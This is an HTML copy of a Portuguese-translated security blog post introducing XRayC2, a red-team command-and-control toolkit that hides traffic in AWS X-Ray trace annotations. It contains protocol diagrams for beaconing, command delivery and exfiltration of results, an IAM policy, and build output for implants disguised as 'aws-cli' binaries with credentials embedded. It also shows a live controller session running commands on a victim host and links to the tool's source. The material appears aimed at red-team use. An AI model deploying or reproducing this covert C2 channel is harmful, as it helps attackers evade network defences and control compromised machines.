Código HTML do Conteúdo
Post: Ghost in the Cloud: Armamento do AWS X-Ray para comando e controle
<div>
<div>
<h2>Ghost in the Cloud: Armamento do AWS X-Ray para comando e controle</h2>
<h2>Os invasores podem usar o AWS X-Ray como um canal C2 bidirecional secreto, abusando da infraestrutura legítima de rastreamento de nuvem para C2.</h2>
<p id="dae4"><strong>Resumo e Antecedentes</strong>: Antes de começarmos, se você ainda não teve a chance de ler meu<a href="https://medium.com/deriv-tech/meetc2-a-k-a-meeting-c2-1fc2a6761068" target="_blank">ConheçaC2</a> log post, ainda, dê uma lida.</p>
<p id="2bff">Estou usando o MeetC2 em minhas campanhas RedTeam há meses e, com o incrível feedback da comunidade, planejei publicar um novo kit de ferramentas (XRayC2).</p>
<p id="e6b1">Sempre gosto de trabalhar na evasão de acesso inicial contra as defesas de rede tradicionais. Nisso, usamos o serviço de rastreamento de aplicativos distribuídos da AWS X-Ray Amazon como um canal de comunicação secreto. Essa técnica aproveita a infraestrutura legítima de monitoramento de nuvem para estabelecer comunicação C2 bidirecional.</p>
<p id="80b4">A infraestrutura C2 tradicional depende do estabelecimento de conexões de rede entre servidores controlados por invasores e hosts comprometidos. Essa abordagem deixa inúmeras oportunidades de detecção, como domínios suspeitos, IPs desconhecidos, padrões de rede incomuns e anomalias de certificado SSL.</p>
<p id="1fa7"><strong>Fluxo de comunicação</strong></p>
<p id="1b0d">Domínio —<em>Xray.[region].amazonaws.com</em></p>
<p id="9491">O AWS X-Ray foi projetado para ajudar os desenvolvedores a entender o desempenho do aplicativo coletando rastreamentos. No entanto, as anotações do X-Ray podem armazenar dados arbitrários de valor-chave, e o serviço fornece APIs para gravar e consultar esses dados.</p>
<pre>Phase 1: Implant Beacon (Establishing Presence)<br>───────────────────────────────────────────────────────────<p>Target System X-Ray Service Controller<br> │ │ │<br> │ PUT /TraceSegments │ │<br> │ { │ │<br> │ trace_id: "1-67a2b...", │ │<br> │ annotations: { │ │<br> │ service_type: "health_check" ◄─── Beacon Marker │<br> │ instance_id: "a3f7b2c8" ◄─── Unique Implant ID │<br> │ platform: "darwin" ◄─── OS Information │<br> │ } │ │<br> │ } │ │<br> │─────────────────────────────────► │<br> │ │ GET /TraceSummaries │<br> │ │ (Poll for new beacons) │<br> │ ◄───────────────────────────┤<br> │ │ │<br> │ │ Returns beacon traces │<br> │ ├──────────────────────────►│<br> │ │ │<br> │ │ [+] New implant: a3f7b2c8<br> │ │</p></pre>
<pre>Phase 2: Command Delivery (Controller → Implant)<br>───────────────────────────────────────────────────────────<p>Controller X-Ray Service Target System<br> │ │ │<br> │ xray-c2> cmd whoami │ │<br> │ │ │<br> │ PUT /TraceSegments │ │<br> │ { │ │<br> │ trace_id: "1-67a2c...", │ │<br> │ annotations: { │ │<br> │ config_a3f7b2c8: │ │<br> │ base64(timestamp:whoami) ◄─── Encoded Command │<br> │ } │ │<br> │ } │ │<br> ├─────────────────────────────────► │<br> │ │ │<br> │ │ GET /TraceSummaries │<br> │ │ (Implant polls) │<br> │ ◄───────────────────────────┤<br> │ │ │<br> │ │ Returns traces with │<br> │ │ config_a3f7b2c8 │<br> │ ├──────────────────────────►│<br> │ │ │<br> │ │ [Decode: "whoami"]<br> │ │ [Execute command]</p></pre>
<pre>Phase 3: Result Exfiltration (Implant → Controller)<br>───────────────────────────────────────────────────────────<p>Target System X-Ray Service Controller<br> │ │ │<br> │ [Command executed: "zero"] │ │<br> │ │ │<br> │ PUT /TraceSegments │ │<br> │ { │ │<br> │ trace_id: "1-67a2d...", │ │<br> │ annotations: { │ │<br> │ instance_id: "a3f7b2c8" │ │<br> │ execution_result: │ │<br> │ base64("zero") ◄─── Encoded Output │<br> │ } │ │<br> │ } │ │<br> │─────────────────────────────────► │<br> │ │ │<br> │ │ GET /TraceSummaries │<br> │ │ (Poll for responses) │<br> │ ◄───────────────────────────┤<br> │ │ │<br> │ │ Returns result traces │<br> │ ├──────────────────────────►│<br> │ │ │<br> │ │ [+] Response from a3f7b2c8:<br> │ │ zero</p></pre>
<p id="c4de">O intervalo de beacon aleatório acontece entre 30 e 60 segundos. O implante implementa manualmente a autenticação personalizada do AWS SigV4. Além disso, a solicitação de API para o X-Ray deve ser assinada usando<em>HMAC-SHA256</em>com a chave de acesso e o segredo, seguindo o formato de solicitação canônico específico da Amazon, que cria tráfego legítimo da API da AWS que se encaixaria com logs de rede regulares.</p>
<p id="7412"><strong>Configuração da AWS</strong></p>
<p id="7ea0">Certifique-se de usar seu locatário fictício da AWS para isso, uma vez conectado, navegue até “<strong>IAM</strong>” & criar um nome de usuário “<strong><em>Xray</em></strong>” anexar “<strong><em>AWSXRayDaemonWriteAccess</em></strong>” em políticas de permissões. Em seguida, crie uma política personalizada com o JSON abaixo e envie. Uma vez que o usuário é criado, podemos usar seu cliente AWS e segredo para implante e controlador.</p>
<pre>{<br> "Version": "2012-10-17",<br> "Statement": [<br> {<br> "Effect": "Allow",<br> "Action": [<br> "xray:PutTraceSegments",<br> "xray:GetTraceSummaries",<br> "xray:BatchGetTraces"<br> ],<br> "Resource": "*"<br> }<br> ]<br>}</pre>
<p id="399a"><strong>Como correr?</strong></p>
<p id="ed14">Baixar XRayC2 —<a href="https://github.com/RootUp/XRayC2" rel="noreferrer noopener" target="_blank">https://github.com/RootUp/XRayC2</a></p>
<pre>bash-3.2$ ./build_standalone.sh <br>=====================================<br> X-Ray C2 Standalone Builder<br> @RandomDhiraj<br>=====================================<p>Enter AWS credentials to embed in implants:<br>AWS Access Key ID: [Enter your key]<br>AWS Secret Access Key: [Enter your key]</p><p>[*] Building macOS implant (zero dependencies)...<br>[+] Built: aws-cli (5.8M)</p><p>[*] Building Windows implant (zero dependencies)...<br>[+] Built: aws-cli.exe (5.9M)</p><p>[*] Cleaning up...</p><p>=====================================<br>STANDALONE BUILD COMPLETE!</p><p>Zero-dependency implants ready:<br> • aws-cli (macOS/Linux)<br> • aws-cli.exe (Windows)</p><p>Just double-click and run!<br>=====================================<br>bash-3.2$<br>bash-3.2$ file aws-cli<br>aws-cli: Mach-O 64-bit executable x86_64<br>bash-3.2$ <br>bash-3.2$ file aws-cli.exe <br>aws-cli.exe: PE32+ executable (GUI) x86-64, for MS Windows<br>bash-3.2$</p></pre>
<pre>bash-3.2$ export AWS_ACCESS_KEY_ID="[AWS user "XRay" Key]"<br>bash-3.2$ export AWS_SECRET_ACCESS_KEY="[AWS user "XRay" Key]"<br>bash-3.2$ <br>bash-3.2$ python3.10 controller.py <br>[+] AWS Account: 691455350179<br>[+] Region: eu-west-1<p>┌─────────────────────────────────────────────────────────────┐<br>│ X-Ray C2 Controller │<br>└─────────────────────────────────────────────────────────────┘</p><p>Available Commands:<br> list - List active implants<br> use </p> - Select implant<br> cmd - Send command to selected implant<br> info - Show implant details<br> clear - Clear screen<br> exit / quit - Exit controller<p> xray-c2 (none)> <br>xray-c2 (none)> list<br>[-] No active implants<br>xray-c2 (none)></p></pre>
<p id="522a">Execute o implante na máquina vítima<code>aws-client</code>ou<code>aws-client.exe</code>Você verá o retorno de chamada que pode ser gerenciado a partir do controlador.</p>
<pre>xray-c2 (none)> <br>xray-c2 (none)> <br>[+] New implant connected: 1e055763 (darwin)<br>xray-c2 (None)> <br>xray-c2 (none)> list<p>[+] Active Implants:<br>----------------------------------------------------------------------<br>ID: 1e055763<br> Status: Active (last beacon 3s ago)<br> First Seen: 11:04:34<br> Last Seen: 11:04:34<br> Beacons: 1<br> OS: darwin<br>----------------------------------------------------------------------<br>xray-c2 (none)> use 1e055763<br>[+] Selected: 1e055763<br>xray-c2 (1e055763)> <br>xray-c2 (1e055763)> cmd hostname<br>[*] Sending command to 1e055763: hostname<br>[+] Command sent (implant will receive on next beacon)<br>xray-c2 (1e055763)> <br>[+] Response from 1e055763:<br>Dhirajs-MacBook-Pro-2.local</p><p>xray-c2 (1e055763)> <br>xray-c2 (1e055763)></p></pre>
<p><strong>Prova de conceito em vídeo</strong></p>
<figure>
<p><iframe loading="lazy" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen="" frameborder="0" height="375" src="https://www.youtube.com/embed/C6fFUozkcg4?feature=oembed" title="XRayC2 - Command & Control" width="500"></iframe>
</p>
</figure>
<p>Deixe-me sugerir a leitura de mais Dhiraj <a href="https://medium.com/@dhiraj_mishra" target="_blank">análise incrível no Medium</a> de graça.</p>
<p><strong>Sobre o autor:Pesquisador de segurança Dhiraj Mishra (<a href="https://twitter.com/mishradhiraj_" target="_blank">@mishradhiraj</a>)</strong></p>
<p>Siga-me no Twitter:<a href="https://twitter.com/securityaffairs" target="_blank">@securityaffairs</a>e<a href="https://www.facebook.com/sec.affairs" target="_blank">Linkedin</a>e<a href="https://infosec.exchange/@securityaffairs" target="_blank">Mastodonte</a></p>
<p><a href="http://www.linkedin.com/pub/pierluigi-paganini/b/742/559" target="_blank">PierluigiPaganini</a></p>
<p>(<a href="http://securityaffairs.co/wordpress/" target="_blank">Assuntos de Segurança</a>–hacking,MeetC2)</p>
<hr>
<hr>
</div></div>